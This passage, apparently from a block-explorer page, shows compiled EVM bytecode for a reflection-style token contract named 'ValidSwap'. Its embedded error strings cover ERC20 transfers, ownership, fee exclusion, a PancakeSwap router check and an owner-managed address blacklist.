0010154908060020154908060030154905084565b600061251161245b612b15565b8461250c856040518060600160405280602581526020016157d66025913960056000612485612b15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130829092919063ffffffff16565b612b1d565b6001905092915050565b60086020528060005260406000206000915090505481565b6000612547612540612b15565b8484612ce8565b602660149054906101000a900460ff16905092915050565b602660149054906101000a900460ff1681565b61257a612b15565b73ffffffffffffffffffffffffffffffffffffffff166125986123ca565b73ffffffffffffffffffffffffffffffffffffffff16146125ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e590614f6f565b60405180910390fd5b80602660176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516126379190614dd7565b60405180910390a150565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612670612b15565b73ffffffffffffffffffffffffffffffffffffffff1661268e6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146126e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126db90614f6f565b60405180910390fd5b8060108190555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61277d612b15565b73ffffffffffffffffffffffffffffffffffffffff1661279b6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146127f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e890614f6f565b60405180910390fd5b80602660146101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61285f612b15565b73ffffffffffffffffffffffffffffffffffffffff1661287d6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146128d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ca90614f6f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915090505481565b61294e612b15565b73ffffffffffffffffffffffffffffffffffffffff1661296c6123ca565b73ffffffffffffffffffffffffffffffffffffffff16146129c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b990614f6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2990614e8f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8490614fef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf490614eaf565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612cdb919061500f565b60405180910390a3505050565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612d8c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc290614eef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e3290614fcf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea290614e2f565b60405180910390fd5b60008111612eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee590614f8f565b60405180910390fd5b612ef783611f5a565b811115612f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3090614faf565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612f7a6123ca565b73ffffffffffffffffffffffffffffffffffffffff1614612fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc790614f4f565b60405180910390fd5b61307d838383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130775750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561318e565b505050565b60008383111582906130ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130c19190614e0d565b60405180910390fd5b5082840390509392505050565b60008060006130e4613d90565b9150915080826130f49190615125565b9250505090565b6000613123836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61402e565b905092915050565b61313361479b565b61313d8383614142565b905061315281848461314d6130d7565b614249565b866000018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b801561357957602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156133a1576131f26123ca565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561326057506132306123ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156132995750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561332c576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561332b5742600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b82601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506019602160008201548160000155600182015481600101556002820154816002015560038201548160030155905050613574565b6133a96123ca565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561341757506133e76123ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156134505750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156134f457600061346c613463866119e0565b60105487611922565b9050806134ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a590614e4f565b60405180910390fd5b42600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b601d60216000820154816000015560018201548160010155600282015481600201556003820154816003015590505060216002015460216002018190555083601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6136a2565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561360d5783601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136a15782601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b60006136ae838361312b565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156137535750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137eb5782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546137a391906151b0565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613af4565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561388e5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561392a578060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e291906150cf565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613af3565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156139cc5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613af25782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a1c91906151b0565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613aae91906150cf565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b8060000151600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b4391906151b0565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bd591906150cf565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508115613ce457613c3081604001518260e00151614306565b613c43816060015182610100015161433a565b613c5681608001518261012001516144e5565b613c698160a00151826101400151614690565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151846101000151613cce91906150cf565b604051613cdb919061500f565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051613d45919061500f565b60405180910390a3613d618460016146d890919063ffffffff16565b506000613d6d86611f5a565b1415613d8957613d878560016130fb90919063ffffffff16565b505b5050505050565b6000806000600f5490506000600e54905060005b600b80549050811015613ff8578260036000600b8481548110613dca57613dc9615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613eb857508160046000600b8481548110613e5057613e4f615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613ecf57600f54600e549450945050505061402a565b60036000600b8381548110613ee757613ee6615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613f5891906151b0565b925060046000600b8381548110613f7257613f71615378565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613fe391906151b0565b91508080613ff0906152a2565b915050613da4565b50600e54600f546140099190615125565b82101561402157600f54600e5493509350505061402a565b81819350935050505b9091565b6000808360010160008481526020019081526020016000205490506000811461413657600060018261406091906151b0565b905060006001866000018054905061407891906151b0565b90508181146140e757600086600001828154811061409957614098615378565b5b90600052602060002001549050808760000184815481106140bd576140bc615378565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b856000018054806140fb576140fa615349565b5b60019003818190600052602060002001600090559055856001016000868152602001908152602001600020600090556001935050505061413c565b60009150505b92915050565b61414a61479b565b8161415e57828160c0018181525050614243565b6064602160000154846141719190615156565b61417b9190615125565b8160e00181815250506064602160010154846141979190615156565b6141a19190615125565b816101000181815250506064602160020154846141be9190615156565b6141c89190615125565b816101200181815250506064602160030154846141e59190615156565b6141ef9190615125565b816101400181815250508061014001518161012001518261010001518360e001518661421b91906151b0565b61422591906151b0565b61422f91906151b0565b61423991906151b0565b8160c00181815250505b92915050565b600080600080600080868961425e9190615156565b95508761427e5785866000806000809550955095509550955095506142f9565b868a60e0015161428e9190615156565b9350868a61010001516142a19190615156565b9250868a61012001516142b49190615156565b9150868a61014001516142c79190615156565b905080828486896142d891906151b0565b6142e291906151b0565b6142ec91906151b0565b6142f691906151b0565b94505b9499939850945094509450565b81600f5461431491906151b0565b600f81905550806013600001600082825461432f91906150cf565b925050819055505050565b806017600001600082825461434f91906150cf565b92505081905550806013600101600082825461436b91906150cf565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143bd91906150cf565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156144e15780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461449d91906150cf565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b80601760010160008282546144fa91906150cf565b92505081905550806013600201600082825461451691906150cf565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461456891906150cf565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561468c5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461464891906150cf565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b80601360030160008282546146a591906150cf565b9250508190555080600e546146ba91906151b0565b600e8190555081600f546146ce91906151b0565b600f819055505050565b6000614700836000018373ffffffffffffffffffffffffffffffffffffffff1660001b614708565b905092915050565b60006147148383614778565b61476d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050614772565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061480481615768565b92915050565b60008083601f8401126148205761481f6153ac565b5b8235905067ffffffffffffffff81111561483d5761483c6153a7565b5b602083019150836020820283011115614859576148586153b1565b5b9250929050565b60008135905061486f8161577f565b92915050565b60008135905061488481615796565b92915050565b6000602082840312156148a05761489f6153bb565b5b60006148ae848285016147f5565b91505092915050565b600080604083850312156148ce576148cd6153bb565b5b60006148dc858286016147f5565b92505060206148ed858286016147f5565b9150509250929050565b6000806000606084860312156149105761490f6153bb565b5b600061491e868287016147f5565b935050602061492f868287016147f5565b925050604061494086828701614875565b9150509250925092565b60008060408385031215614961576149606153bb565b5b600061496f858286016147f5565b925050602061498085828601614875565b9150509250929050565b600080602083850312156149a1576149a06153bb565b5b600083013567ffffffffffffffff8111156149bf576149be6153b6565b5b6149cb8582860161480a565b92509250509250929050565b6000602082840312156149ed576149ec6153bb565b5b60006149fb84828501614860565b91505092915050565b600060208284031215614a1a57614a196153bb565b5b6000614a2884828501614875565b91505092915050565b60008060408385031215614a4857614a476153bb565b5b6000614a5685828601614875565b9250506020614a6785828601614860565b9150509250929050565b600080600060608486031215614a8a57614a896153bb565b5b6000614a9886828701614875565b9350506020614aa986828701614875565b9250506040614aba868287016147f5565b9150509250925092565b60008060008060808587031215614ade57614add6153bb565b5b6000614aec87828801614875565b9450506020614afd87828801614875565b9350506040614b0e87828801614875565b9250506060614b1f87828801614875565b91505092959194509250565b614b34816151e4565b82525050565b614b43816151f6565b82525050565b614b5281615239565b82525050565b6000614b63826150b3565b614b6d81856150be565b9350614b7d81856020860161526f565b614b86816153c0565b840191505092915050565b6000614b9e6023836150be565b9150614ba9826153d1565b604082019050919050565b6000614bc16005836150be565b9150614bcc82615420565b602082019050919050565b6000614be4602a836150be565b9150614bef82615449565b604082019050919050565b6000614c076026836150be565b9150614c1282615498565b604082019050919050565b6000614c2a6022836150be565b9150614c35826154e7565b604082019050919050565b6000614c4d601b836150be565b9150614c5882615536565b602082019050919050565b6000614c70601b836150be565b9150614c7b8261555f565b602082019050919050565b6000614c936017836150be565b9150614c9e82615588565b602082019050919050565b6000614cb6601f836150be565b9150614cc1826155b1565b602082019050919050565b6000614cd9601d836150be565b9150614ce4826155da565b602082019050919050565b6000614cfc6020836150be565b9150614d0782615603565b602082019050919050565b6000614d1f6029836150be565b9150614d2a8261562c565b604082019050919050565b6000614d426030836150be565b9150614d4d8261567b565b604082019050919050565b6000614d656025836150be565b9150614d70826156ca565b604082019050919050565b6000614d886024836150be565b9150614d9382615719565b604082019050919050565b614da781615222565b82525050565b614db68161522c565b82525050565b6000602082019050614dd16000830184614b2b565b92915050565b6000602082019050614dec6000830184614b3a565b92915050565b6000602082019050614e076000830184614b49565b92915050565b60006020820190508181036000830152614e278184614b58565b905092915050565b60006020820190508181036000830152614e4881614b91565b9050919050565b60006020820190508181036000830152614e6881614bb4565b9050919050565b60006020820190508181036000830152614e8881614bd7565b9050919050565b60006020820190508181036000830152614ea881614bfa565b9050919050565b60006020820190508181036000830152614ec881614c1d565b9050919050565b60006020820190508181036000830152614ee881614c40565b9050919050565b60006020820190508181036000830152614f0881614c63565b9050919050565b60006020820190508181036000830152614f2881614c86565b9050919050565b60006020820190508181036000830152614f4881614ca9565b9050919050565b60006020820190508181036000830152614f6881614ccc565b9050919050565b60006020820190508181036000830152614f8881614cef565b9050919050565b60006020820190508181036000830152614fa881614d12565b9050919050565b60006020820190508181036000830152614fc881614d35565b9050919050565b60006020820190508181036000830152614fe881614d58565b9050919050565b6000602082019050818103600083015261500881614d7b565b9050919050565b60006020820190506150246000830184614d9e565b92915050565b600060408201905061503f6000830185614d9e565b61504c6020830184614d9e565b9392505050565b60006080820190506150686000830187614d9e565b6150756020830186614d9e565b6150826040830185614d9e565b61508f6060830184614d9e565b95945050505050565b60006020820190506150ad6000830184614dad565b92915050565b600081519050919050565b600082825260208201905092915050565b60006150da82615222565b91506150e583615222565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561511a576151196152eb565b5b828201905092915050565b600061513082615222565b915061513b83615222565b92508261514b5761514a61531a565b5b828204905092915050565b600061516182615222565b915061516c83615222565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156151a5576151a46152eb565b5b828202905092915050565b60006151bb82615222565b91506151c683615222565b9250828210156151d9576151d86152eb565b5b828203905092915050565b60006151ef82615202565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006152448261524b565b9050919050565b60006152568261525d565b9050919050565b600061526882615202565b9050919050565b60005b8381101561528d578082015181840152602081019050615272565b8381111561529c576000848401525b50505050565b60006152ad82615222565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156152e0576152df6152eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6572726f72000000000000000000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f54686973206164647265737320697320626c61636b6c69737465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f496e636f72726563742050616e63616b65207377617020726f75746572000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f752062616c616e636500000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b615771816151e4565b811461577c57600080fd5b50565b615788816151f6565b811461579357600080fd5b50565b61579f81615222565b81146157aa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201599ccb83a659de5ef4047bd7bdb9722923db884f5296ca969a4b66629b0f5a564736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103035760003560e01c806370a0823111610190578063a8be9a58116100dc578063dd62ed3e11610095578063ea2f0b371161006f578063ea2f0b3714610c07578063ecbde40c14610c30578063f2fde38b14610c6d578063f921400514610c965761030a565b8063dd62ed3e14610b64578063e2255e2914610ba1578063e7e6451914610bca5761030a565b8063a8be9a5814610a42578063a9059cbb14610a7f578063bc0ad5a314610abc578063c49b9a8014610ae7578063cc5006b314610b10578063cdf6e46714610b3b5761030a565b806383d6b0a2116101495780638da5cb5b116101235780638da5cb5b1461098157806395d89b41146109ac5780639ba5e4d5146109d7578063a457c2d714610a055761030a565b806383d6b0a2146108ef57806388f82020146109185780638b7afe2e146109555761030a565b806370a08231146107eb578063713898cd14610828578063715018a61461085657806373cafdc21461086d578063786564c41461089b57806379fdd832146108c45761030a565b80633685d4191161024f578063437823ec1161020857806351ecfeae116101e257806351ecfeae1461073157806352390c021461075a57806352892884146107835780635342acb4146107ae5761030a565b8063437823ec146106a05780634549b039146106c95780634a74bb02146107065761030a565b80633685d41914610580578063370f0a60146105a957806339509351146105d25780633ccfd60b1461060f578063422ed802146106265780634359a871146106635761030a565b80631f37fd51116102bc5780632d838119116102965780632d838119146104c65780632db0b5ed14610503578063313ce5671461052c578063352cce39146105575761030a565b80631f37fd511461043557806323b872dd14610460578063275d53ce1461049d5761030a565b806306fdde031461030f578063072c73f21461033a578063095ea7b31461036557806316a9de14146103a257806318160ddd146103cd5780631cdd3be3146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610cc1565b6040516103319190614e0d565b60405180910390f35b34801561034657600080fd5b5061034f610cfe565b60405161035c919061500f565b60405180910390f35b34801561037157600080fd5b5061038c6004803603810190610387919061494a565b610d04565b6040516103999190614dd7565b60405180910390f35b3480156103ae57600080fd5b506103b7610d22565b6040516103c49190614dbc565b60405180910390f35b3480156103d957600080fd5b506103e2610d48565b6040516103ef919061500f565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a919061488a565b610d52565b60405161042c9190614dd7565b60405180910390f35b34801561044157600080fd5b5061044a610d72565b604051610457919061500f565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906148f7565b610d78565b6040516104949190614dd7565b60405180910390f35b3480156104a957600080fd5b506104c460048036038101906104bf91906149d7565b610e5f565b005b3480156104d257600080fd5b506104ed60048036038101906104e89190614a04565b610ef8565b6040516104fa919061500f565b60405180910390f35b34801561050f57600080fd5b5061052a6004803603810190610525919061498a565b610f5f565b005b34801561053857600080fd5b5061054161107e565b60405161054e9190615098565b60405180910390f35b34801561056357600080fd5b5061057e6004803603810190610579919061498a565b611087565b005b34801561058c57600080fd5b506105a760048036038101906105a2919061488a565b6111a8565b005b3480156105b557600080fd5b506105d060048036038101906105cb919061488a565b6114de565b005b3480156105de57600080fd5b506105f960048036038101906105f4919061494a565b6117ab565b6040516106069190614dd7565b60405180910390f35b34801561061b57600080fd5b50610624611857565b005b34801561063257600080fd5b5061064d60048036038101906106489190614a71565b611922565b60405161065a9190614dd7565b60405180910390f35b34801561066f57600080fd5b5061068a6004803603810190610685919061488a565b6119e0565b604051610697919061500f565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c2919061488a565b611a29565b005b3480156106d557600080fd5b506106f060048036038101906106eb9190614a31565b611b00565b6040516106fd919061500f565b60405180910390f35b34801561071257600080fd5b5061071b611b86565b6040516107289190614dd7565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190614ac4565b611b99565b005b34801561076657600080fd5b50610781600480360381019061077c919061488a565b611c43565b005b34801561078f57600080fd5b50610798611ede565b6040516107a59190614dbc565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d0919061488a565b611f04565b6040516107e29190614dd7565b60405180910390f35b3480156107f757600080fd5b50610812600480360381019061080d919061488a565b611f5a565b60405161081f919061500f565b60405180910390f35b34801561083457600080fd5b5061083d612045565b60405161084d9493929190615053565b60405180910390f35b34801561086257600080fd5b5061086b612063565b005b34801561087957600080fd5b5061088261219d565b6040516108929493929190615053565b60405180910390f35b3480156108a757600080fd5b506108c260048036038101906108bd9190614ac4565b6121bb565b005b3480156108d057600080fd5b506108d9612265565b6040516108e69190614df2565b60405180910390f35b3480156108fb57600080fd5b506109166004803603810190610911919061488a565b61228b565b005b34801561092457600080fd5b5061093f600480360381019061093a919061488a565b612362565b60405161094c9190614dd7565b60405180910390f35b34801561096157600080fd5b5061096a6123b8565b60405161097892919061502a565b60405180910390f35b34801561098d57600080fd5b506109966123ca565b6040516109a39190614dbc565b60405180910390f35b3480156109b857600080fd5b506109c16123f3565b6040516109ce9190614e0d565b60405180910390f35b3480156109e357600080fd5b506109ec612430565b6040516109fc9493929190615053565b60405180910390f35b348015610a1157600080fd5b50610a2c6004803603810190610a27919061494a565b61244e565b604051610a399190614dd7565b60405180910390f35b348015610a4e57600080fd5b50610a696004803603810190610a64919061488a565b61251b565b604051610a76919061500f565b60405180910390f35b348015610a8b57600080fd5b50610aa66004803603810190610aa1919061494a565b612533565b604051610ab39190614dd7565b60405180910390f35b348015610ac857600080fd5b50610ad161255f565b604051610ade9190614dd7565b60405180910390f35b348015610af357600080fd5b50610b0e6004803603810190610b0991906149d7565b612572565b005b348015610b1c57600080fd5b50610b25612642565b604051610b329190614dbc565b60405180910390f35b348015610b4757600080fd5b50610b626004803603810190610b5d9190614a04565b612668565b005b348015610b7057600080fd5b50610b8b6004803603810190610b8691906148b7565b6126ee565b604051610b98919061500f565b60405180910390f35b348015610bad57600080fd5b50610bc86004803603810190610bc391906149d7565b612775565b005b348015610bd657600080fd5b50610bf16004803603810190610bec919061488a565b61280e565b604051610bfe919061500f565b60405180910390f35b348015610c1357600080fd5b50610c2e6004803603810190610c29919061488a565b612857565b005b348015610c3c57600080fd5b50610c576004803603810190610c52919061488a565b61292e565b604051610c64919061500f565b60405180910390f35b348015610c7957600080fd5b50610c946004803603810190610c8f919061488a565b612946565b005b348015610ca257600080fd5b50610cab612aef565b604051610cb89190614dbc565b60405180910390f35b60606040518060400160405280600981526020017f56616c6964537761700000000000000000000000000000000000000000000000815250905090565b60115481565b6000610d18610d11612b15565b8484612b1d565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e54905090565b600a6020528060005260406000206000915054906101000a900460f